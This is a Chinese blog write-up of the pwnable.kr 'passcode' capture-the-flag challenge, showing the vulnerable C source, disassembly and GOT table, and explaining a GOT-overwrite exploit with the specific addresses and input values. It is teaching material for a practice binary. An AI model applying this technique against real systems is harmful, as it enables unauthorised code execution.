zoukankan      html  css  js  c++  java
  • pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr

    这里记录其中的passcode的做题过程,给自己加深印象。

    废话不多说了,看一下题目,

    看到题目,就ssh连接进去,就看到三个文件如下

    看了一下我们的用户名,并不能直接查看flag这个文件。查看passcode.c的源码看一下

    #include <stdio.h>
    #include <stdlib.h>
    
    void login(){
        int passcode1;
        int passcode2;
    
        printf("enter passcode1 : ");
        scanf("%d", passcode1);               //这里没有加取地址符号
        fflush(stdin);
    
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
            scanf("%d", passcode2);      //这里没有加取地址符号
    
        printf("checking...
    ");
        if(passcode1==338150 && passcode2==13371337){
                    printf("Login OK!
    ");
                    system("/bin/cat flag");
            }
            else{
                    printf("Login Failed!
    ");
            exit(0);
            }
    }
    
    void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!
    ", name);
    }
    
    int main(){
        printf("Toddler's Secure Login System 1.0 beta.
    ");
    
        welcome();
        login();     //这里连续调用了两个函数
    
        // something after login...
        printf("Now I can safely trust you that you have credential :)
    ");
        return 0;    
    }

    可以看到整个程序的流程很简单,就是要我们输入两个数,让这两个数等于特定的数,就输出flag的内容,但是根据她的提示,程序有问题,可以直接使用gcc来尝试编译一下,就发现在登录函数里,对于两个passcode的值没有加上取地址符号,这将会导致scanf把passcode1和passcode2中的值作为存储输入的地址,如果地址不可写,就会造成一个内存错误。这样我们直接输入特定的值肯定不行了。。。。这里我们看一下这个程序的防护

    程序有栈溢出保护和NX(数据执行保护)看了大牛的wp之后,知道关键点在welcome这里,因为welcome这里开了一个有点大的数组,有没有可能改变login中passcode1或passcode2的值,因为welcome和login这两个函数是连续调用的,导致他们拥有相同的栈底。我们看一下passcode的反汇编代码。。objdump -d passcode

    08048564 <login>:                     //这里是login函数
     8048564:    55                       push   %ebp
     8048565:    89 e5                    mov    %esp,%ebp
     8048567:    83 ec 28                 sub    $0x28,%esp        //分配栈空间
     804856a:    b8 70 87 04 08           mov    $0x8048770,%eax
     804856f:    89 04 24                 mov    %eax,(%esp)
     8048572:    e8 a9 fe ff ff           call   8048420 <printf@plt>
     8048577:    b8 83 87 04 08           mov    $0x8048783,%eax
     804857c:    8b 55 f0                 mov    -0x10(%ebp),%edx       //看到这里是passcode1的内容作为参数传递给scanf
     804857f:    89 54 24 04              mov    %edx,0x4(%esp)
     8048583:    89 04 24                 mov    %eax,(%esp)
     8048586:    e8 15 ff ff ff           call   80484a0 <__isoc99_scanf@plt>
     804858b:    a1 2c a0 04 08           mov    0x804a02c,%eax
     8048590:    89 04 24                 mov    %eax,(%esp)
     8048593:    e8 98 fe ff ff           call   8048430 <fflush@plt>
     8048598:    b8 86 87 04 08           mov    $0x8048786,%eax
     804859d:    89 04 24                 mov    %eax,(%esp)
     80485a0:    e8 7b fe ff ff           call   8048420 <printf@plt>
     80485a5:    b8 83 87 04 08           mov    $0x8048783,%eax
     80485aa:    8b 55 f4                 mov    -0xc(%ebp),%edx    //这里是passcode2的内容作为参数传递给scanf
     80485ad:    89 54 24 04              mov    %edx,0x4(%esp)
     80485b1:    89 04 24                 mov    %eax,(%esp)
     80485b4:    e8 e7 fe ff ff           call   80484a0 <__isoc99_scanf@plt>
     80485b9:    c7 04 24 99 87 04 08     movl   $0x8048799,(%esp)
     80485c0:    e8 8b fe ff ff           call   8048450 <puts@plt>
     80485c5:    81 7d f0 e6 28 05 00     cmpl   $0x528e6,-0x10(%ebp)    //第一个比较
     80485cc:    75 23                    jne    80485f1 <login+0x8d>
     80485ce:    81 7d f4 c9 07 cc 00     cmpl   $0xcc07c9,-0xc(%ebp)    //第二个比较
     80485d5:    75 1a                    jne    80485f1 <login+0x8d>
     80485d7:    c7 04 24 a5 87 04 08     movl   $0x80487a5,(%esp)
     80485de:    e8 6d fe ff ff           call   8048450 <puts@plt>
     80485e3:    c7 04 24 af 87 04 08     movl   $0x80487af,(%esp)
     80485ea:    e8 71 fe ff ff           call   8048460 <system@plt>    //执行系统命令,关键点
     80485ef:    c9                       leave  
     80485f0:    c3                       ret    
     80485f1:    c7 04 24 bd 87 04 08     movl   $0x80487bd,(%esp)
     80485f8:    e8 53 fe ff ff           call   8048450 <puts@plt>
     80485fd:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)
     8048604:    e8 77 fe ff ff           call   8048480 <exit@plt>
    
    08048609 <welcome>:
     8048609:    55                       push   %ebp
     804860a:    89 e5                    mov    %esp,%ebp
     804860c:    81 ec 88 00 00 00        sub    $0x88,%esp
     8048612:    65 a1 14 00 00 00        mov    %gs:0x14,%eax
     8048618:    89 45 f4                 mov    %eax,-0xc(%ebp)
     804861b:    31 c0                    xor    %eax,%eax
     804861d:    b8 cb 87 04 08           mov    $0x80487cb,%eax
     8048622:    89 04 24                 mov    %eax,(%esp)
     8048625:    e8 f6 fd ff ff           call   8048420 <printf@plt>
     804862a:    b8 dd 87 04 08           mov    $0x80487dd,%eax
     804862f:    8d 55 90                 lea    -0x70(%ebp),%edx       //name的地址
     8048632:    89 54 24 04              mov    %edx,0x4(%esp)
     8048636:    89 04 24                 mov    %eax,(%esp)
     8048639:    e8 62 fe ff ff           call   80484a0 <__isoc99_scanf@plt>
     804863e:    b8 e3 87 04 08           mov    $0x80487e3,%eax
     8048643:    8d 55 90                 lea    -0x70(%ebp),%edx
     8048646:    89 54 24 04              mov    %edx,0x4(%esp)
     804864a:    89 04 24                 mov    %eax,(%esp)
     804864d:    e8 ce fd ff ff           call   8048420 <printf@plt>
     8048652:    8b 45 f4                 mov    -0xc(%ebp),%eax
     8048655:    65 33 05 14 00 00 00     xor    %gs:0x14,%eax
     804865c:    74 05                    je     8048663 <welcome+0x5a>
     804865e:    e8 dd fd ff ff           call   8048440 <__stack_chk_fail@plt>
     8048663:    c9                       leave  
     8048664:    c3                       ret    
    
    08048665 <main>:
     8048665:    55                       push   %ebp
     8048666:    89 e5                    mov    %esp,%ebp
     8048668:    83 e4 f0                 and    $0xfffffff0,%esp
     804866b:    83 ec 10                 sub    $0x10,%esp
     804866e:    c7 04 24 f0 87 04 08     movl   $0x80487f0,(%esp)
     8048675:    e8 d6 fd ff ff           call   8048450 <puts@plt>
     804867a:    e8 8a ff ff ff           call   8048609 <welcome>
     804867f:    e8 e0 fe ff ff           call   8048564 <login>          //连续调用,导致栈底是相同的
     8048684:    c7 04 24 18 88 04 08     movl   $0x8048818,(%esp)
     804868b:    e8 c0 fd ff ff           call   8048450 <puts@plt>
     8048690:    b8 00 00 00 00           mov    $0x0,%eax
     8048695:    c9                       leave  
     8048696:    c3                       ret    
     8048697:    90                       nop
     8048698:    90                       nop
     8048699:    90                       nop
     804869a:    90                       nop
     804869b:    90                       nop
     804869c:    90                       nop
     804869d:    90                       nop
     804869e:    90                       nop
     804869f:    90                       nop

    从上面我们看到,因为welcome和login的栈底相同,看到name的地址在ebp-0x70, 而passcode1的地址在ebp-0x10, 0x70 == 112, 0x10 == 16

    所以0x70-0x10 == 0x60 == 96,所以我们可以看到name的最后四个字节就是passcode1的值,所以我们可以利用welcome来改变passcode1的值,

    因为程序开启了栈溢出保护,所以我们不能再继续增加name的输入来改变passcode2的值(如果能改,直接改为两个特定数就可以了,但这里不行)。

    从大牛的WP知道,这里我们要使用的是一种GOT表复写的技术,GOT表就是一个函数指针数组(具体搜索),我们看到程序在我们输入之后会调用pritnf函数,

    所以我们可以将passcode1的值改为printf的地址,然后接下来会通过scanf将上面的关键系统命令的地址写进去,改变整个程序的执行过程,当程序调用

    printf函数的时候,由于它的地址已经被改变了,所以会跳到关键系统命令的地方去。

    80485e3:    c7 04 24 af 87 04 08     movl   $0x80487af,(%esp)
    80485ea:    e8 71 fe ff ff           call   8048460 <system@plt>

    所以我们要知道printf的got地址,然后将它的地址改为 0x080485ea这个关键的地方。使用objdump -R passcode来看一下GOT表

    passcode@ubuntu:~$ objdump -R passcode
    
    passcode:     file format elf32-i386
    
    DYNAMIC RELOCATION RECORDS
    OFFSET   TYPE              VALUE 
    08049ff0 R_386_GLOB_DAT    __gmon_start__
    0804a02c R_386_COPY        stdin@@GLIBC_2.0
    0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0          //printf的地址
    0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
    0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
    0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
    0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
    0804a014 R_386_JUMP_SLOT   __gmon_start__
    0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
    0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
    0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

    我这里使用pwntools这个包来写利用脚本。因为scanf是要求%d输入,所以0x080485ea == 134514154

    最后就看到flag了。。。。。。。。        

                                            --好好学习,天天向上

  • 相关阅读:
    垃圾收集器
    垃圾收集算法
    JVM内存模型
    工厂方法模式
    类加载机制
    六大设计原则
    单例模式
    HFish开源蜜罐搭建
    利用metasploit复现永恒之蓝
    零信任网络初识
  • 原文地址:https://www.cnblogs.com/binlmmhc/p/6189514.html
Copyright © 2011-2022 走看看